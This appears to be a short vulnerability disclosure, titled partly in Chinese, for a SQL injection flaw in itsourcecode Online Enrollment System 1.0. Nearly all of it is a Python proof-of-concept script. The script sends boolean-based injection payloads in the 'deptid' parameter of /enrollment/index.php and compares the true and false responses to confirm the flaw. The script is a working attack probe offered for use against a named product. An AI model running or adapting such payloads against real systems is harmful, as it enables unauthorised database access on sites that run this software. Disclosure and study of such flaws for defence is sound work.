CVE-2026-5334: Online Enrollment System SQL注入漏洞

import requests # Proof of Concept for CVE-2026-5334 # Target: itsourcecode Online Enrollment System 1.0 def check_sqli(target_url): # Vulnerable endpoint url = f"{target_url}/enrollment/index.php" # Payload to test SQL Injection in 'deptid' parameter # Using a simple boolean-based sqli payload payload = { "view": "edit", "id": "3", "deptid": "1' AND 1=1-- -" } try: response = requests.get(url, params=payload, timeout=5) if response.status_code == 200: print(f"[+] Request sent successfully to {url}") print(f"[*] Payload: {payload}") print(f"[*] Response Length: {len(response.text)}") # Compare with a false condition to confirm vulnerability (Logic analysis required) payload_false = { "view": "edit", "id": "3", "deptid": "1' AND 1=2-- -" } response_false = requests.get(url, params=payload_false, timeout=5) if response.text != response_false.text: print("[!] Potential SQL Injection vulnerability detected!") else: print("[-] Vulnerability not confirmed via simple response comparison.") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_sqli(target)